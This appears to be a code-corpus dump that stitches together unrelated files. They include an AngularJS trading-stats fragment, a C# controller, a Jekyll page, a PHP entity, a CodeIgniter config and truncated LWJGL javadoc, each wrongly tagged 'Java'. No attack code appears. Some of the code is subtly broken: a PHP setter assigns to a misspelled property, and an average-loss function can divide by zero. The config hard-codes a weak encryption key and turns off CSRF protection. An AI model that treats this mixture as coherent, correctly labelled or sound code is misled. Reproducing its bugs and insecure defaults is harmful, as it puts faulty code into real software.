if( entry.tradeValue > 0 ){
++count;
sum += Number(entry.tradeValue);
}
});
return {avg: (sum / count).toFixed(2), count: count};
};
function calculateAvgLoss( tradelist ){
var sum = 0;
var count = 0;
tradelist.forEach(function(entry) {
if( entry.tradeValue < 0 ){
++count
sum += Number(entry.tradeValue);
}
});
console.log('sum: ', sum);
return {avg: (sum / count).toFixed(2), count: count};
};
function calculateAvgTradeSize( tradelist ){
var actionCount = 0;
var sum = 0;
tradelist.forEach(function(entry) {
var actions = entry.actions;
actions.forEach(function(action) {
if( action.price && action.quantity ){
++actionCount;
sum = sum + (Math.abs(action.price * action.quantity));
}
});
});
if( actionCount == 0 ){
actionCount = 1;
}
$scope.avgTradeSize = (sum / actionCount).toFixed(2);
};
});
})();
| Java |
// Copyright (c) Microsoft Corporation. All rights reserved.
using System;
using System.Net;
using System.Net.Http;
using System.Threading.Tasks;
using System.Web;
using System.Web.Http;
using Microsoft.Dash.Server.Diagnostics;
using Microsoft.Dash.Server.Handlers;
using Microsoft.Dash.Server.Utils;
namespace Microsoft.Dash.Server.Controllers
{
public class CommonController : ApiController
{
protected HttpRequestBase RequestFromContext(HttpContextBase context)
{
return context.Request;
}
protected HttpResponseMessage CreateResponse<T>(T result)
{
return CreateResponse(result, HttpStatusCode.OK);
}
protected HttpResponseMessage CreateResponse<T>(T result, HttpStatusCode status)
{
var response = this.Request.CreateResponse(status, result, GlobalConfiguration.Configuration.Formatters.XmlFormatter, "application/xml");
response.AddStandardResponseHeaders(this.Request.GetHeaders());
return response;
}
protected HttpResponseMessage CreateResponse(HttpStatusCode status, RequestHeaders requestHeaders)
{
var response = this.Request.CreateResponse(status);
response.AddStandardResponseHeaders(requestHeaders ?? this.Request.GetHeaders());
return response;
}
protected async Task<HttpResponseMessage> DoHandlerAsync(string handlerName, Func<Task<HttpResponseMessage>> handler)
{
return await WebOperationRunner.DoActionAsync(handlerName, handler, (ex) =>
{
return ProcessResultResponse(HandlerResult.FromException(ex));
});
}
protected HttpResponseMessage ProcessResultResponse(HandlerResult result)
{
var response = new HttpResponseMessage(result.StatusCode);
if (!String.IsNullOrWhiteSpace(result.ReasonPhrase))
{
response.ReasonPhrase = result.ReasonPhrase;
}
if (result.Headers != null)
{
foreach (var header in result.Headers)
{
response.Headers.TryAddWithoutValidation(header.Key, header);
}
}
if (result.ErrorInformation != null && !String.IsNullOrWhiteSpace(result.ErrorInformation.ErrorCode))
{
var error = new HttpError
{
{ "Code", result.ErrorInformation.ErrorCode },
{ "Message", result.ErrorInformation.ErrorMessage },
};
foreach (var msg in result.ErrorInformation.AdditionalDetails)
{
error.Add(msg.Key, msg.Value);
}
response.Content = new ObjectContent<HttpError>(error, GlobalConfiguration.Configuration.Formatters.XmlFormatter, "application/xml");
}
return response;
}
}
} | Java |
---
layout: page
title: "时光机"
description: "文章归档"
header-img: "img/orange.jpg"
---
<ul class="listing">
{% for post in site.posts %}
{% capture y %}{{post.date | date:"%Y"}}{% endcapture %}
{% if year != y %}
{% assign year = y %}
<li class="listing-seperator">{{ y }}</li>
{% endif %}
<li class="listing-item">
<time datetime="{{ post.date | date:"%Y-%m-%d" }}">{{ post.date | date:"%Y-%m-%d" }}</time>
<a href="{{ post.url }}" title="{{ post.title }}">{{ post.title }}</a>
</li>
{% endfor %}
</ul>
| Java |
<!doctype html>
<html>
<head></head>
<body>
<!-- Multiple terms, single description -->
<dl>
<dt>Firefox</dt>
<dt>Mozilla Firefox</dt>
<dt>Fx</dt>
<dd>
A free, open source, cross-platform,
graphical web browser developed by the
Mozilla Corporation and hundreds of
volunteers.
</dd>
</dl>
</body>
</html>
| Java |
'use strict';
// MODULES //
var isArrayLike = require( 'validate.io-array-like' ),
isTypedArrayLike = require( 'validate.io-typed-array-like' ),
deepSet = require( 'utils-deep-set' ).factory,
deepGet = require( 'utils-deep-get' ).factory;
// FUNCTIONS
var POW = require( './number.js' );
// POWER //
/**
* FUNCTION: power( arr, y, path[, sep] )
* Computes an element-wise power or each element and deep sets the input array.
*
* @param {Array} arr - input array
* @param {Number[]|Int8Array|Uint8Array|Uint8ClampedArray|Int16Array|Uint16Array|Int32Array|Uint32Array|Float32Array|Float64Array|Number} y - either an array of equal length or a scalar
* @param {String} path - key path used when deep getting and setting
* @param {String} [sep] - key path separator
* @returns {Array} input array
*/
function power( x, y, path, sep ) {
var len = x.length,
opts = {},
dget,
dset,
v, i;
if ( arguments.length > 3 ) {
opts.sep = sep;
}
if ( len ) {
dget = deepGet( path, opts );
dset = deepSet( path, opts );
if ( isTypedArrayLike( y ) ) {
for ( i = 0; i < len; i++ ) {
v = dget( x[ i ] );
if ( typeof v === 'number' ) {
dset( x[ i ], POW( v, y[ i ] ) );
} else {
dset( x[ i ], NaN );
}
}
} else if ( isArrayLike( y ) ) {
for ( i = 0; i < len; i++ ) {
v = dget( x[ i ] );
if ( typeof v === 'number' && typeof y[ i ] === 'number' ) {
dset( x[ i ], POW( v, y[ i ] ) );
} else {
dset( x[ i ], NaN );
}
}
} else {
if ( typeof y === 'number' ) {
for ( i = 0; i < len; i++ ) {
v = dget( x[ i ] );
if ( typeof v === 'number' ) {
dset( x[ i ], POW( v, y ) );
} else {
dset( x[ i ], NaN );
}
}
} else {
for ( i = 0; i < len; i++ ) {
dset( x[ i ], NaN );
}
}
}
}
return x;
} // end FUNCTION power()
// EXPORTS //
module.exports = power;
| Java |
<?php
namespace repositorio\estudianteBundle\Entity;
use Doctrine\ORM\Mapping as ORM;
/**
* Sede
*
* @ORM\Table(name="sede")
* @ORM\Entity
*/
class Sede
{
/**
* @var string
*
* @ORM\Column(name="codigo_sede", type="string", length=5, nullable=false)
* @ORM\Id
* @ORM\GeneratedValue(strategy="IDENTITY")
*/
private $codigoSede;
/**
* @var string
*
* @ORM\Column(name="nombre_sede", type="string", length=50, nullable=false)
*/
private $nombreSede;
/**
* Get codigoSede
*
* @return string
*/
public function getCodigoSede()
{
return $this->codigoSede;
}
public function setCodigoSede($codigosede)
{
$this->codigosede = $codigosede;
return $this;
}
/**
* Set nombreSede
*
* @param string $nombreSede
* @return Sede
*/
public function setNombreSede($nombreSede)
{
$this->nombreSede = $nombreSede;
return $this;
}
/**
* Get nombreSede
*
* @return string
*/
public function getNombreSede()
{
return $this->nombreSede;
}
} | Java |
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
/*
|--------------------------------------------------------------------------
| Base Site URL
|--------------------------------------------------------------------------
|
| URL to your CodeIgniter root. Typically this will be your base URL,
| WITH a trailing slash:
|
| http://example.com/
|
| WARNING: You MUST set this value!
|
| If it is not set, then CodeIgniter will try guess the protocol and path
| your installation, but due to security concerns the hostname will be set
| to $_SERVER['SERVER_ADDR'] if available, or localhost otherwise.
| The auto-detection mechanism exists only for convenience during
| development and MUST NOT be used in production!
|
| If you need to allow multiple domains, remember that this file is still
| a PHP script and you can easily do that on your own.
|
*/
$config['base_url'] = 'http://localhost/012-CI-Login';
/*
|--------------------------------------------------------------------------
| Index File
|--------------------------------------------------------------------------
|
| Typically this will be your index.php file, unless you've renamed it to
| something else. If you are using mod_rewrite to remove the page set this
| variable so that it is blank.
|
*/
$config['index_page'] = '';//it was index.php
/*
|--------------------------------------------------------------------------
| URI PROTOCOL
|--------------------------------------------------------------------------
|
| This item determines which server global should be used to retrieve the
| URI string. The default setting of 'REQUEST_URI' works for most servers.
| If your links do not seem to work, try one of the other delicious flavors:
|
| 'REQUEST_URI' Uses $_SERVER['REQUEST_URI']
| 'QUERY_STRING' Uses $_SERVER['QUERY_STRING']
| 'PATH_INFO' Uses $_SERVER['PATH_INFO']
|
| WARNING: If you set this to 'PATH_INFO', URIs will always be URL-decoded!
*/
$config['uri_protocol'] = 'AUTO';//it was REQUEST_URI
/*
|--------------------------------------------------------------------------
| URL suffix
|--------------------------------------------------------------------------
|
| This option allows you to add a suffix to all URLs generated by CodeIgniter.
| For more information please see the user guide:
|
| https://codeigniter.com/user_guide/general/urls.html
*/
$config['url_suffix'] = '';
/*
|--------------------------------------------------------------------------
| Default Language
|--------------------------------------------------------------------------
|
| This determines which set of language files should be used. Make sure
| there is an available translation if you intend to use something other
| than english.
|
*/
$config['language'] = 'english';
/*
|--------------------------------------------------------------------------
| Default Character Set
|--------------------------------------------------------------------------
|
| This determines which character set is used by default in various methods
| that require a character set to be provided.
|
| See http://php.net/htmlspecialchars for a list of supported charsets.
|
*/
$config['charset'] = 'UTF-8';
/*
|--------------------------------------------------------------------------
| Enable/Disable System Hooks
|--------------------------------------------------------------------------
|
| If you would like to use the 'hooks' feature you must enable it by
| setting this variable to TRUE (boolean). See the user guide for details.
|
*/
$config['enable_hooks'] = FALSE;
/*
|--------------------------------------------------------------------------
| Class Extension Prefix
|--------------------------------------------------------------------------
|
| This item allows you to set the filename/classname prefix when extending
| native libraries. For more information please see the user guide:
|
| https://codeigniter.com/user_guide/general/core_classes.html
| https://codeigniter.com/user_guide/general/creating_libraries.html
|
*/
$config['subclass_prefix'] = 'MY_';
/*
|--------------------------------------------------------------------------
| Composer auto-loading
|--------------------------------------------------------------------------
|
| Enabling this setting will tell CodeIgniter to look for a Composer
| package auto-loader script in application/vendor/autoload.php.
|
| $config['composer_autoload'] = TRUE;
|
| Or if you have your vendor/ directory located somewhere else, you
| can opt to set a specific path as well:
|
| $config['composer_autoload'] = '/path/to/vendor/autoload.php';
|
| For more information about Composer, please visit http://getcomposer.org/
|
| Note: This will NOT disable or override the CodeIgniter-specific
| autoloading (application/config/autoload.php)
*/
$config['composer_autoload'] = FALSE;
/*
|--------------------------------------------------------------------------
| Allowed URL Characters
|--------------------------------------------------------------------------
|
| This lets you specify which characters are permitted within your URLs.
| When someone tries to submit a URL with disallowed characters they will
| get a warning message.
|
| As a security measure you are STRONGLY encouraged to restrict URLs to
| as few characters as possible. By default only these are allowed: a-z 0-9~%.:_-
|
| Leave blank to allow all characters -- but only if you are insane.
|
| The configured value is actually a regular expression character group
| and it will be executed as: ! preg_match('/^[<permitted_uri_chars>]+$/i
|
| DO NOT CHANGE THIS UNLESS YOU FULLY UNDERSTAND THE REPERCUSSIONS!!
|
*/
$config['permitted_uri_chars'] = 'a-z 0-9~%.:_\-';
/*
|--------------------------------------------------------------------------
| Enable Query Strings
|--------------------------------------------------------------------------
|
| By default CodeIgniter uses search-engine friendly segment based URLs:
| example.com/who/what/where/
|
| By default CodeIgniter enables access to the $_GET array. If for some
| reason you would like to disable it, set 'allow_get_array' to FALSE.
|
| You can optionally enable standard query string based URLs:
| example.com?who=me&what=something&where=here
|
| Options are: TRUE or FALSE (boolean)
|
| The other items let you set the query string 'words' that will
| invoke your controllers and its functions:
| example.com/index.php?c=controller&m=function
|
| Please note that some of the helpers won't work as expected when
| this feature is enabled, since CodeIgniter is designed primarily to
| use segment based URLs.
|
*/
$config['allow_get_array'] = TRUE;
$config['enable_query_strings'] = FALSE;
$config['controller_trigger'] = 'c';
$config['function_trigger'] = 'm';
$config['directory_trigger'] = 'd';
/*
|--------------------------------------------------------------------------
| Error Logging Threshold
|--------------------------------------------------------------------------
|
| You can enable error logging by setting a threshold over zero. The
| threshold determines what gets logged. Threshold options are:
|
| 0 = Disables logging, Error logging TURNED OFF
| 1 = Error Messages (including PHP errors)
| 2 = Debug Messages
| 3 = Informational Messages
| 4 = All Messages
|
| You can also pass an array with threshold levels to show individual error types
|
| array(2) = Debug Messages, without Error Messages
|
| For a live site you'll usually only enable Errors (1) to be logged otherwise
| your log files will fill up very fast.
|
*/
$config['log_threshold'] = 0;
/*
|--------------------------------------------------------------------------
| Error Logging Directory Path
|--------------------------------------------------------------------------
|
| Leave this BLANK unless you would like to set something other than the default
| application/logs/ directory. Use a full server path with trailing slash.
|
*/
$config['log_path'] = '';
/*
|--------------------------------------------------------------------------
| Log File Extension
|--------------------------------------------------------------------------
|
| The default filename extension for log files. The default 'php' allows for
| protecting the log files via basic scripting, when they are to be stored
| under a publicly accessible directory.
|
| Note: Leaving it blank will default to 'php'.
|
*/
$config['log_file_extension'] = '';
/*
|--------------------------------------------------------------------------
| Log File Permissions
|--------------------------------------------------------------------------
|
| The file system permissions to be applied on newly created log files.
|
| IMPORTANT: This MUST be an integer (no quotes) and you MUST use octal
| integer notation (i.e. 0700, 0644, etc.)
*/
$config['log_file_permissions'] = 0644;
/*
|--------------------------------------------------------------------------
| Date Format for Logs
|--------------------------------------------------------------------------
|
| Each item that is logged has an associated date. You can use PHP date
| codes to set your own date formatting
|
*/
$config['log_date_format'] = 'Y-m-d H:i:s';
/*
|--------------------------------------------------------------------------
| Error Views Directory Path
|--------------------------------------------------------------------------
|
| Leave this BLANK unless you would like to set something other than the default
| application/views/errors/ directory. Use a full server path with trailing slash.
|
*/
$config['error_views_path'] = '';
/*
|--------------------------------------------------------------------------
| Cache Directory Path
|--------------------------------------------------------------------------
|
| Leave this BLANK unless you would like to set something other than the default
| application/cache/ directory. Use a full server path with trailing slash.
|
*/
$config['cache_path'] = '';
/*
|--------------------------------------------------------------------------
| Cache Include Query String
|--------------------------------------------------------------------------
|
| Whether to take the URL query string into consideration when generating
| output cache files. Valid options are:
|
| FALSE = Disabled
| TRUE = Enabled, take all query parameters into account.
| Please be aware that this may result in numerous cache
| files generated for the same page over and over again.
| array('q') = Enabled, but only take into account the specified list
| of query parameters.
|
*/
$config['cache_query_string'] = FALSE;
/*
|--------------------------------------------------------------------------
| Encryption Key
|--------------------------------------------------------------------------
|
| If you use the Encryption class, you must set an encryption key.
| See the user guide for more info.
|
| https://codeigniter.com/user_guide/libraries/encryption.html
|
*/
$config['encryption_key'] = 'stoyan';
/*
|--------------------------------------------------------------------------
| Session Variables
|--------------------------------------------------------------------------
|
| 'sess_driver'
|
| The storage driver to use: files, database, redis, memcached
|
| 'sess_cookie_name'
|
| The session cookie name, must contain only [0-9a-z_-] characters
|
| 'sess_expiration'
|
| The number of SECONDS you want the session to last.
| Setting to 0 (zero) means expire when the browser is closed.
|
| 'sess_save_path'
|
| The location to save sessions to, driver dependent.
|
| For the 'files' driver, it's a path to a writable directory.
| WARNING: Only absolute paths are supported!
|
| For the 'database' driver, it's a table name.
| Please read up the manual for the format with other session drivers.
|
| IMPORTANT: You are REQUIRED to set a valid save path!
|
| 'sess_match_ip'
|
| Whether to match the user's IP address when reading the session data.
|
| WARNING: If you're using the database driver, don't forget to update
| your session table's PRIMARY KEY when changing this setting.
|
| 'sess_time_to_update'
|
| How many seconds between CI regenerating the session ID.
|
| 'sess_regenerate_destroy'
|
| Whether to destroy session data associated with the old session ID
| when auto-regenerating the session ID. When set to FALSE, the data
| will be later deleted by the garbage collector.
|
| Other session cookie settings are shared with the rest of the application,
| except for 'cookie_prefix' and 'cookie_httponly', which are ignored here.
|
*/
$config['sess_driver'] = 'files';
$config['sess_cookie_name'] = 'ci_session';
$config['sess_expiration'] = 7200;
$config['sess_save_path'] = NULL;
$config['sess_match_ip'] = FALSE;
$config['sess_time_to_update'] = 300;
$config['sess_regenerate_destroy'] = FALSE;
/*
|--------------------------------------------------------------------------
| Cookie Related Variables
|--------------------------------------------------------------------------
|
| 'cookie_prefix' = Set a cookie name prefix if you need to avoid collisions
| 'cookie_domain' = Set to .your-domain.com for site-wide cookies
| 'cookie_path' = Typically will be a forward slash
| 'cookie_secure' = Cookie will only be set if a secure HTTPS connection exists.
| 'cookie_httponly' = Cookie will only be accessible via HTTP(S) (no javascript)
|
| Note: These settings (with the exception of 'cookie_prefix' and
| 'cookie_httponly') will also affect sessions.
|
*/
$config['cookie_prefix'] = '';
$config['cookie_domain'] = '';
$config['cookie_path'] = '/';
$config['cookie_secure'] = FALSE;
$config['cookie_httponly'] = FALSE;
/*
|--------------------------------------------------------------------------
| Standardize newlines
|--------------------------------------------------------------------------
|
| Determines whether to standardize newline characters in input data,
| meaning to replace \r\n, \r, \n occurrences with the PHP_EOL value.
|
| This is particularly useful for portability between UNIX-based OSes,
| (usually \n) and Windows (\r\n).
|
*/
$config['standardize_newlines'] = FALSE;
/*
|--------------------------------------------------------------------------
| Global XSS Filtering
|--------------------------------------------------------------------------
|
| Determines whether the XSS filter is always active when GET, POST or
| COOKIE data is encountered
|
| WARNING: This feature is DEPRECATED and currently available only
| for backwards compatibility purposes!
|
*/
$config['global_xss_filtering'] = FALSE;
/*
|--------------------------------------------------------------------------
| Cross Site Request Forgery
|--------------------------------------------------------------------------
| Enables a CSRF cookie token to be set. When set to TRUE, token will be
| checked on a submitted form. If you are accepting user data, it is strongly
| recommended CSRF protection be enabled.
|
| 'csrf_token_name' = The token name
| 'csrf_cookie_name' = The cookie name
| 'csrf_expire' = The number in seconds the token should expire.
| 'csrf_regenerate' = Regenerate token on every submission
| 'csrf_exclude_uris' = Array of URIs which ignore CSRF checks
*/
$config['csrf_protection'] = FALSE;
$config['csrf_token_name'] = 'csrf_test_name';
$config['csrf_cookie_name'] = 'csrf_cookie_name';
$config['csrf_expire'] = 7200;
$config['csrf_regenerate'] = TRUE;
$config['csrf_exclude_uris'] = array();
/*
|--------------------------------------------------------------------------
| Output Compression
|--------------------------------------------------------------------------
|
| Enables Gzip output compression for faster page loads. When enabled,
| the output class will test whether your server supports Gzip.
| Even if it does, however, not all browsers support compression
| so enable only if you are reasonably sure your visitors can handle it.
|
| Only used if zlib.output_compression is turned off in your php.ini.
| Please do not use it together with httpd-level output compression.
|
| VERY IMPORTANT: If you are getting a blank page when compression is enabled it
| means you are prematurely outputting something to your browser. It could
| even be a line of whitespace at the end of one of your scripts. For
| compression to work, nothing can be sent before the output buffer is called
| by the output class. Do not 'echo' any values with compression enabled.
|
*/
$config['compress_output'] = FALSE;
/*
|--------------------------------------------------------------------------
| Master Time Reference
|--------------------------------------------------------------------------
|
| Options are 'local' or any PHP supported timezone. This preference tells
| the system whether to use your server's local time as the master 'now'
| reference, or convert it to the configured one timezone. See the 'date
| helper' page of the user guide for information regarding date handling.
|
*/
$config['time_reference'] = 'local';
/*
|--------------------------------------------------------------------------
| Rewrite PHP Short Tags
|--------------------------------------------------------------------------
|
| If your PHP installation does not have short tag support enabled CI
| can rewrite the tags on-the-fly, enabling you to utilize that syntax
| in your view files. Options are TRUE or FALSE (boolean)
|
| Note: You need to have eval() enabled for this to work.
|
*/
$config['rewrite_short_tags'] = FALSE;
/*
|--------------------------------------------------------------------------
| Reverse Proxy IPs
|--------------------------------------------------------------------------
|
| If your server is behind a reverse proxy, you must whitelist the proxy
| IP addresses from which CodeIgniter should trust headers such as
| HTTP_X_FORWARDED_FOR and HTTP_CLIENT_IP in order to properly identify
| the visitor's IP address.
|
| You can use both an array or a comma-separated list of proxy addresses,
| as well as specifying whole subnets. Here are a few examples:
|
| Comma-separated: '10.0.1.200,192.168.5.0/24'
| Array: array('10.0.1.200', '192.168.5.0/24')
*/
$config['proxy_ips'] = '';
| Java |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!--NewPage-->
<HTML>
<HEAD>
<!-- Generated by javadoc (build 1.6.0_14) on Sun Nov 04 20:19:08 CET 2012 -->
<TITLE>
OESCompressedPalettedTexture (LWJGL API)
</TITLE>
<META NAME="date" CONTENT="2012-11-04">
<LINK REL ="stylesheet" TYPE="text/css" HREF="../../../stylesheet.css" TITLE="Style">
<SCRIPT type="text/javascript">
function windowTitle()
{
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="OESCompressedPalettedTexture (LWJGL API)";
}
}
</SCRIPT>
<NOSCRIPT>
</NOSCRIPT>
</HEAD>
<BODY BGCOLOR="white" onload="windowTitle();">
<HR>
<!-- ========= START OF TOP NAVBAR ======= -->
<A NAME="navbar_top"><!-- --></A>
<A HREF="#skip-navbar_top" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_top_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="class-use/OESCompressedPalettedTexture.html"><FONT CLASS="NavBarFont1"><B>Use</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../index-all.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../org/lwjgl/opengles/OESCompressedETC1RGB8Texture.html" title="class in org.lwjgl.opengles"><B>PREV CLASS</B></A>
<A HREF="../../../org/lwjgl/opengles/OESDepth24.html" title="class in org.lwjgl.opengles"><B>NEXT CLASS</B></A></FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../index.html?org/lwjgl/opengles/OESCompressedPalettedTexture.html" target="_top"><B>FRAMES</B></A>
<A HREF="OESCompressedPalettedTexture.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!--
if(window==top) {
document.writeln('<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>');
}
//-->
</SCRIPT>
<NOSCRIPT>
<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
<TR>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
SUMMARY: NESTED | <A HREF="#field_summary">FIELD</A> | CONSTR | <A HREF="#methods_inherited_from_class_java.lang.Object">METHOD</A></FONT></TD>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
DETAIL: <A HREF="#field_detail">FIELD</A> | CONSTR | METHOD</FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_top"></A>
<!-- ========= END OF TOP NAVBAR ========= -->
<HR>
<!-- ======== START OF CLASS DATA ======== -->
<H2>
<FONT SIZE="-1">
org.lwjgl.opengles</FONT>
<BR>
Class OESCompressedPalettedTexture</H2>
<PRE>
java.lang.Object
<IMG SRC="../../../resources/inherit.gif" ALT="extended by "><B>org.lwjgl.opengles.OESCompressedPalettedTexture</B>
</PRE>
<HR>
<DL>
<DT><PRE>public final class <B>OESCompressedPalettedTexture</B><DT>extends java.lang.Object</DL>
</PRE>
<P>
<HR>
<P>
<!-- =========== FIELD SUMMARY =========== -->
<A NAME="field_summary"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TH ALIGN="left" COLSPAN="2"><FONT SIZE="+2">
<B>Field Summary</B></FONT></TH>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static int</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/lwjgl/opengles/OESCompressedPalettedTexture.html#GL_PALETTE4_R5_G6_B5_OES">GL_PALETTE4_R5_G6_B5_OES</A></B></CODE>
<BR>
Accepted by the <internalformat> paramter of CompressedTexImage2D</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static int</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/lwjgl/opengles/OESCompressedPalettedTexture.html#GL_PALETTE4_RGB5_A1_OES">GL_PALETTE4_RGB5_A1_OES</A></B></CODE>
<BR>
Accepted by the <internalformat> paramter of CompressedTexImage2D</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static int</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/lwjgl/opengles/OESCompressedPalettedTexture.html#GL_PALETTE4_RGB8_OES">GL_PALETTE4_RGB8_OES</A></B></CODE>
<BR>
Accepted by the <internalformat> paramter of CompressedTexImage2D</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static int</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/lwjgl/opengles/OESCompressedPalettedTexture.html#GL_PALETTE4_RGBA4_OES">GL_PALETTE4_RGBA4_OES</A></B></CODE>
<BR>
Accepted by the <internalformat> paramter of CompressedTexImage2D</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static int</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/lwjgl/opengles/OESCompressedPalettedTexture.html#GL_PALETTE4_RGBA8_OES">GL_PALETTE4_RGBA8_OES</A></B></CODE>
<BR>
Accepted by the <internalformat> paramter of CompressedTexImage2D</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static int</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/lwjgl/opengles/OESCompressedPalettedTexture.html#GL_PALETTE8_R5_G6_B5_OES">GL_PALETTE8_R5_G6_B5_OES</A></B></CODE>
<BR>
Accepted by the <internalformat> paramter of CompressedTexImage2D</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static int</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/lwjgl/opengles/OESCompressedPalettedTexture.html#GL_PALETTE8_RGB5_A1_OES">GL_PALETTE8_RGB5_A1_OES</A></B></CODE>
<BR>
Accepted by the <internalformat> paramter of CompressedTexImage2D</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static int</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/lwjgl/opengles/OESCompressedPalettedTexture.html#GL_PALETTE8_RGB8_OES">GL_PALETTE8_RGB8_OES</A></B></CODE>
<BR>
Accepted by the <internalformat> paramter of CompressedTexImage2D</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static int</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/lwjgl/opengles/OESCompressedPalettedTexture.html#GL_PALETTE8_RGBA4_OES">GL_PALETTE8_RGBA4_OES</A></B></CODE>
<BR>
Accepted by the <internalformat> paramter of CompressedTexImage2D</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static int</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/lwjgl/opengles/OESCompressedPalettedTexture.html#GL_PALETTE8_RGBA8_OES">GL_PALETTE8_RGBA8_OES</A></B></CODE>
<BR>
Accepted by the <internalformat> paramter of CompressedTexImage2D</TD>
</TR>
</TABLE>
<!-- ========== METHOD SUMMARY =========== -->
<A NAME="method_summary"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TH ALIGN="left" COLSPAN="2"><FONT SIZE="+2">
<B>Method Summary</B></FONT></TH>
</TR>
</TABLE>
<A NAME="methods_inherited_from_class_java.lang.Object"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#EEEEFF" CLASS="TableSubHeadingColor">
<TH ALIGN="left"><B>Methods inherited from class java.lang.Object</B></TH>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD><CODE>clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait</CODE></TD>
</TR>
</TABLE>
<P>
<!-- ============ FIELD DETAIL =========== -->
<A NAME="field_detail"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TH ALIGN="left" COLSPAN="1"><FONT SIZE="+2">
<B>Field Detail</B></FONT></TH>
</TR>
</TABLE>
<A NAME="GL_PALETTE4_RGB8_OES"><!-- --></A><H3>
GL_PALETTE4_RGB8_OES</H3>
<PRE>
